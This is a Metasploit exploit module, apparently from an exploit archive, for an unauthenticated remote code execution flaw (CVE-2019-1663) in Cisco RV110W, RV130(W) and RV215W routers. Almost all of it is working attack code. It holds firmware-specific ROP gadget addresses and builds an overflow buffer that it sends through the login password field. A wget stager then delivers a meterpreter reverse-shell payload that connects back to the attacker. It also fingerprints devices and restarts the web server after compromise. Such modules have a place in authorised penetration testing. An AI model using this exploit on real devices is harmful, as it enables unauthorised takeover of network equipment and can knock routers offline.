Cisco RV110W RV130 W RV215W Remote Command Execution

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

# linux/armle/meterpreter/bind_tcp - ##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

# linux/armle/meterpreter/bind_tcp -> segfault
# linux/armle/meterpreter/reverse_tcp -> segfault
# linux/armle/meterpreter_reverse_http -> works
# linux/armle/meterpreter_reverse_https -> works
# linux/armle/meterpreter_reverse_tcp -> works
# linux/armle/shell/bind_tcp -> segfault
# linux/armle/shell/reverse_tcp -> segfault
# linux/armle/shell_bind_tcp -> segfault
# linux/armle/shell_reverse_tcp -> segfault
#
class MetasploitModule < Msf::Exploit::Remote
Rank = GoodRanking

include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStager
include Msf::Exploit::Deprecated

moved_from 'exploit/linux/http/cisco_rv130_rmi_rce'

def initialize(info = {})
super(update_info(info,
'Name' => 'Cisco RV110W/RV130(W)/RV215W Routers Management Interface Remote Command Execution',
'Description' => %q{
A vulnerability in the web-based management interface of the Cisco RV110W Wireless-N VPN Firewall,
Cisco RV130W Wireless-N Multifunction VPN Router, and Cisco RV215W Wireless-N VPN Router
could allow an unauthenticated, remote attacker to execute arbitrary code on an affected device.

The vulnerability is due to improper validation of user-supplied data in the web-based management interface.
An attacker could exploit this vulnerability by sending malicious HTTP requests to a targeted device.

A successful exploit could allow the attacker to execute arbitrary code on the underlying operating
system of the affected device as a high-privilege user.

RV110W Wireless-N VPN Firewall versions prior to 1.2.2.1 are affected.
RV130W Wireless-N Multifunction VPN Router versions prior to 1.0.3.45 are affected.
RV215W Wireless-N VPN Router versions prior to 1.3.1.1 are affected.

Note: successful exploitation may not result in a session, and as such,
on_new_session will never repair the HTTP server, leading to a denial-of-service condition.
},
'Author' =>
[
'Yu Zhang', # Initial discovery (GeekPwn conference)
'Haoliang Lu', # Initial discovery (GeekPwn conference)
'T. Shiomitsu', # Initial discovery (Pen Test Partners)
'Quentin Kaiser <kaiserquentin@gmail.com>' # Vulnerability analysis & exploit dev
],
'License' => MSF_LICENSE,
'Platform' => %w[linux],
'Arch' => [ARCH_ARMLE, ARCH_MIPSLE],
'SessionTypes' => %w[meterpreter],
'CmdStagerFlavor' => %w{ wget },
'Privileged' => true, # BusyBox
'References' =>
[
['CVE', '2019-1663'],
['BID', '107185'],
['URL', 'https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190227-rmi-cmd-ex'],
['URL', 'https://www.pentestpartners.com/security-blog/cisco-rv130-its-2019-but-yet-strcpy/']
],
'DefaultOptions' => {
'WfsDelay' => 10,
'SSL' => true,
'RPORT' => 443,
'CMDSTAGER::FLAVOR' => 'wget',
'PAYLOAD' => 'linux/mipsle/meterpreter_reverse_tcp',
},
'Targets' =>
[
[ 'Cisco RV110W 1.1.0.9',
{
'offset' => 69,
'libc_base_addr' => 0x2af06000,
'libcrypto_base_addr' => 0x2ac01000,
'system_offset' => 0x00050d40,
'got_offset' => 0x0009d560,
# gadget 1 is in /usr/lib/libcrypto.so
'gadget1' => 0x00167c8c, # addiu $s0, $sp, 0x20; move $t9, $s4; jalr $t9; move $a0, $s0;
'Arch' => ARCH_MIPSLE,
'DefaultOptions' => {
'PAYLOAD' => 'linux/mipsle/meterpreter_reverse_tcp',
}
}
],
[ 'Cisco RV110W 1.2.0.9',
{
'offset' => 69,
'libc_base_addr' => 0x2af08000,
'libcrypto_base_addr' => 0x2ac03000,
'system_offset' => 0x0004c7e0,
'got_offset' => 0x00098db0,
# gadget 1 is in /usr/lib/libcrypto.so
'gadget1' => 0x00167c4c, # addiu $s0, $sp, 0x20; move $t9, $s4; jalr $t9; move $a0, $s0;
'Arch' => ARCH_MIPSLE,
'DefaultOptions' => {
'PAYLOAD' => 'linux/mipsle/meterpreter_reverse_tcp',
}
}
],
[ 'Cisco RV110W 1.2.0.10',
{
'offset' => 69,
'libc_base_addr' => 0x2af09000,
'libcrypto_base_addr' => 0x2ac04000,
'system_offset' => 0x0004c7e0,
'got_offset' => 0x00098db0,
# gadget 1 is in /usr/lib/libcrypto.so
'gadget1' => 0x00151fbc, # addiu $s0, $sp, 0x20; move $t9, $s4; jalr $t9; move $a0, $s0;
'Arch' => ARCH_MIPSLE,
'DefaultOptions' => {
'PAYLOAD' => 'linux/mipsle/meterpreter_reverse_tcp',
}
}
],
[ 'Cisco RV110W 1.2.1.4',
{
'offset' => 69,
'libc_base_addr' => 0x2af54000,
'libcrypto_base_addr' => 0x2ac4f000,
'system_offset' => 0x0004c7e0,
'got_offset' => 0x00098db0,
# gadget 1 is in /usr/lib/libcrypto.so
'gadget1' => 0x0005059c, # addiu $s0, $sp, 0x20; move $t9, $s4; jalr $t9; move $a0, $s0;
'Arch' => ARCH_MIPSLE,
'DefaultOptions' => {
'PAYLOAD' => 'linux/mipsle/meterpreter_reverse_tcp',
}
}
],
[ 'Cisco RV110W 1.2.1.7',
{
'offset' => 69,
'libc_base_addr' => 0x2af98000,
'libcrypto_base_addr' => 0x2ac4f000,
'system_offset' => 0x0004c7e0,
'got_offset' => 0x00098db0,
# gadget 1 is in /usr/lib/libcrypto.so
'gadget1' => 0x0003e7dc, # addiu $s0, $sp, 0x20; move $t9, $s4; jalr $t9; move $a0, $s0;
'Arch' => ARCH_MIPSLE,
'DefaultOptions' => {
'PAYLOAD' => 'linux/mipsle/meterpreter_reverse_tcp',
}
}
],
[ 'Cisco RV130/RV130W < 1.0.3.45',
{
'offset' => 446,
'libc_base_addr' => 0x357fb000,
'system_offset' => 0x0004d144,
'gadget1' => 0x00020e79, # pop {r2, r6, pc};
'gadget2' => 0x00041308, # mov r0, sp; blx r2;
'Arch' => ARCH_ARMLE,
'DefaultOptions' => {
'PAYLOAD' => 'linux/armle/meterpreter_reverse_tcp',
}
},
],
[ 'Cisco RV215W 1.1.0.5',
{
'offset' => 69,
'libc_base_addr' => 0x2af59000,
'libcrypto_base_addr' => 0x2ac54000,
'system_offset' => 0x0004c7e0,
'got_offset' => 0x00098db0,
# gadget 1 is in /usr/lib/libcrypto.so
'gadget1' => 0x0005059c, # addiu $s0, $sp, 0x20; move $t9, $s4; jalr $t9; move $a0, $s0;
'Arch' => ARCH_MIPSLE,
'DefaultOptions' => {
'PAYLOAD' => 'linux/mipsle/meterpreter_reverse_tcp',
}
}
],
[ 'Cisco RV215W 1.1.0.6',
{
'offset' => 69,
'libc_base_addr' => 0x2af59000,
'libcrypto_base_addr' => 0x2ac54000,
'system_offset' => 0x0004c7e0,
'got_offset' => 0x00098db0,
# gadget 1 is in /usr/lib/libcrypto.so
'gadget1' => 0x00151fbc, # addiu $s0, $sp, 0x20; move $t9, $s4; jalr $t9; move $a0, $s0;
'Arch' => ARCH_MIPSLE,
'DefaultOptions' => {
'PAYLOAD' => 'linux/mipsle/meterpreter_reverse_tcp',
}
}
],
[ 'Cisco RV215W 1.2.0.14',
{
'offset' => 69,
'libc_base_addr' => 0x2af5f000,
'libcrypto_base_addr' => 0x2ac5a001,
'system_offset' => 0x0004c7e0,
'got_offset' => 0x00098db0,
# gadget 1 is in /usr/lib/libcrypto.so
'gadget1' => 0x0005059c, # addiu $s0, $sp, 0x20; move $t9, $s4; jalr $t9; move $a0, $s0;
'Arch' => ARCH_MIPSLE,
'DefaultOptions' => {
'PAYLOAD' => 'linux/mipsle/meterpreter_reverse_tcp',
}
}
],
[ 'Cisco RV215W 1.2.0.15',
{
'offset' => 69,
'libc_base_addr' => 0x2af5f000,
'libcrypto_base_addr' => 0x2ac5a000,
'system_offset' => 0x0004c7e0,
'got_offset' => 0x00098db0,
# gadget 1 is in /usr/lib/libcrypto.so
'gadget1' => 0x0005059c, # addiu $s0, $sp, 0x20; move $t9, $s4; jalr $t9; move $a0, $s0;
'Arch' => ARCH_MIPSLE,
'DefaultOptions' => {
'PAYLOAD' => 'linux/mipsle/meterpreter_reverse_tcp',
}
}
],
[ 'Cisco RV215W 1.3.0.7',
{
'offset' => 77,
'libc_base_addr' => 0x2afeb000,
'libcrypto_base_addr' => 0x2aca5000,
'system_offset' => 0x0004c7e0,
'got_offset' => 0x000a0530,
# gadget 1 is in /usr/lib/libcrypto.so
'gadget1' => 0x00057bec, # addiu $s0, $sp, 0x20; move $t9, $s4; jalr $t9; move $a0, $s0;
'Arch' => ARCH_MIPSLE,
'DefaultOptions' => {
'PAYLOAD' => 'linux/mipsle/meterpreter_reverse_tcp',
}
}
],
[ 'Cisco RV215W 1.3.0.8',
{
'offset' => 77,
'libc_base_addr' => 0x2afee000,
'libcrypto_base_addr' => 0x2aca5000,
'system_offset' => 0x0004c7e0,
'got_offset' => 0x000a0530,
# gadget 1 is in /usr/lib/libcrypto.so
'gadget1' => 0x0003e7dc, # addiu $s0, $sp, 0x20; move $t9, $s4; jalr $t9; move $a0, $s0;
'Arch' => ARCH_MIPSLE,
'DefaultOptions' => {
'PAYLOAD' => 'linux/mipsle/meterpreter_reverse_tcp',
}
}
],
],
'DisclosureDate' => 'Feb 27 2019',
'DefaultTarget' => 0,
'Notes' => {
'Stability' => [ CRASH_SERVICE_DOWN, ],
},
))
end

def p(lib, offset)
[(lib + offset).to_s(16)].pack('H*').reverse
end

def prepare_shellcode(cmd)
case target
# RV110W 1.1.0.9, 1.2.0.9, 1.2.0.10, 1.2.1.4, 1.2.1.7
# RV215W 1.1.0.5, 1.1.0.6, 1.2.0.14, 1.2.0.15, 1.3.0.7, 1.3.0.8
when targets[0], targets[1], targets[2], targets[3], targets[4], targets[6], targets[7], targets[8], targets[9], targets[10], targets[11]
shellcode = rand_text_alpha(target['offset']) + # filler
rand_text_alpha(4) + # $s0
rand_text_alpha(4) + # $s1
rand_text_alpha(4) + # $s2
rand_text_alpha(4) + # $s3
p(target['libc_base_addr'], target['system_offset']) + # $s4
rand_text_alpha(4) + # $s5
rand_text_alpha(4) + # $s6
rand_text_alpha(4) + # $s7
rand_text_alpha(4) + # $s8
p(target['libcrypto_base_addr'], target['gadget1']) + # $ra
p(target['libc_base_addr'], target['got_offset']) +
rand_text_alpha(28) +
cmd
shellcode
when targets[5] # RV130/RV130W
shellcode = rand_text_alpha(target['offset']) + # filler
p(target['libc_base_addr'], target['gadget1']) +
p(target['libc_base_addr'], target['system_offset']) + # r2
rand_text_alpha(4) + # r6
p(target['libc_base_addr'], target['gadget2']) + # pc
cmd
shellcode
end
end

def send_request(buffer)
begin
send_request_cgi({
'uri' => '/login.cgi',
'method' => 'POST',
'vars_post' => {
"submit_button": "login",
"submit_type": "",
"gui_action": "",
"wait_time": 0,
"change_action": "",
"enc": 1,
"user": rand_text_alpha_lower(5),
"pwd": buffer,
"sel_lang": "EN"
}
})
rescue ::Rex::ConnectionError
fail_with(Failure::Unreachable, "#{peer} - Failed to connect to the router")
end
end

def check

# We fingerprint devices using SHA1 hash of a web resource accessible to unauthenticated users.
# We use lang_pack/EN.js because it's the one file that changes the most between versions.
# Note that it's not a smoking gun given that some branches keep the exact same files in /www
# (see RV110 branch 1.2.1.x/1.2.2.x, RV130 > 1.0.3.22, RV215 1.2.0.x/1.3.x)

fingerprints = {
"69d906ddd59eb6755a7b9c4f46ea11cdaa47c706" => {
"version" => "Cisco RV110W 1.1.0.9",
"status" =>Exploit::CheckCode::Vulnerable
},
"8d3b677d870425198f7fae94d6cfe262551aa8bd" => {
"version" => "Cisco RV110W 1.2.0.9",
"status" => Exploit::CheckCode::Vulnerable
},
"134ee643ec877641030211193a43cc5e93c96a06" => {
"version" => "Cisco RV110W 1.2.0.10",
"status" => Exploit::CheckCode::Vulnerable
},
"e3b2ec9d099a3e3468f8437e5247723643ff830e" => {
"version" => "Cisco RV110W 1.2.1.4, 1.2.1.7, 1.2.2.1 (not vulnerable), 1.2.2.4 (not vulnerable)",
"status" => Exploit::CheckCode::Unknown
},
"6b7b1e8097e8dda26db27a09b8176b9c32b349b3" => {
"version" => "Cisco RV130/RV130W 1.0.0.21",
"status" => Exploit::CheckCode::Vulnerable
},
"9b1a87b752d11c5ba97dd80d6bae415532615266" => {
"version" => "Cisco RV130/RV130W 1.0.1.3",
"status" => Exploit::CheckCode::Vulnerable
},
"9b6399842ef69cf94409b65c4c61017c862b9d09" => {
"version" => "Cisco RV130/RV130W 1.0.2.7",
"status" => Exploit::CheckCode::Vulnerable
},
"8680ec6df4f8937acd3505a4dd36d40cb02c2bd6" => {
"version" => "Cisco RV130/RV130W 1.0.3.14, 1.0.3.16",
"status" => Exploit::CheckCode::Vulnerable
},
"8c8e05de96810a02344d96588c09b21c491ede2d" => {
"version" => "Cisco RV130/RV130W 1.0.3.22, 1.0.3.28, 1.0.3.44, 1.0.3.45 (not vulnerable), 1.0.3.51 (not vulnerable)",
"status" => Exploit::CheckCode::Unknown
},
"2f29a0dfa78063d643eb17388e27d3f804ff6765" => {
"version" => "Cisco RV215W 1.1.0.5",
"status" => Exploit::CheckCode::Vulnerable
},
"e5cc84d7c9c2d840af85d5f25cee33baffe3ca6f" => {
"version" => "Cisco RV215W 1.1.0.6",
"status" => Exploit::CheckCode::Vulnerable
},
"7cc8fcce5949a68c31641c38255e7f6ed31ff4db" => {
"version" => "Cisco RV215W 1.2.0.14 or 1.2.0.15",
"status" => Exploit::CheckCode::Vulnerable
},
"050d47ea944eaeadaec08945741e8e380f796741" => {
"version" => "Cisco RV215W 1.3.0.7 or 1.3.0.8, 1.3.1.1 (not vulnerable), 1.3.1.4 (not vulnerable)",
"status" => Exploit::CheckCode::Unknown
}
}

uri = target_uri.path
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(uri, 'lang_pack/EN.js')
})
if res && res.code == 200
fingerprint = Digest::SHA1.hexdigest("#{res.body.to_s}")
if fingerprints.key?(fingerprint)
print_good("Successfully identified device: #{fingerprints[fingerprint]["version"]}")
return fingerprints[fingerprint]["status"]
else
print_status("Couldn't reliably fingerprint the target.")
end
end
Exploit::CheckCode::Unknown
end

def exploit
print_status('Sending request')
execute_cmdstager
end

def execute_command(cmd, opts = {})
shellcode = prepare_shellcode(cmd.to_s)
send_request(shellcode)
end

def on_new_session(session)
# Given there is no process continuation here, the httpd server will stop
# functioning properly and we need to take care of proper restart
# ourselves.
print_status("Reloading httpd service")
reload_httpd_service = "killall httpd && cd /www && httpd && httpd -S"
if session.type.to_s.eql? 'meterpreter'
session.core.use 'stdapi' unless session.ext.aliases.include? 'stdapi'
session.sys.process.execute '/bin/sh', "-c "#{reload_httpd_service}""
else
session.shell_command(reload_httpd_service)
end
ensure
super
end
end
Leave a comment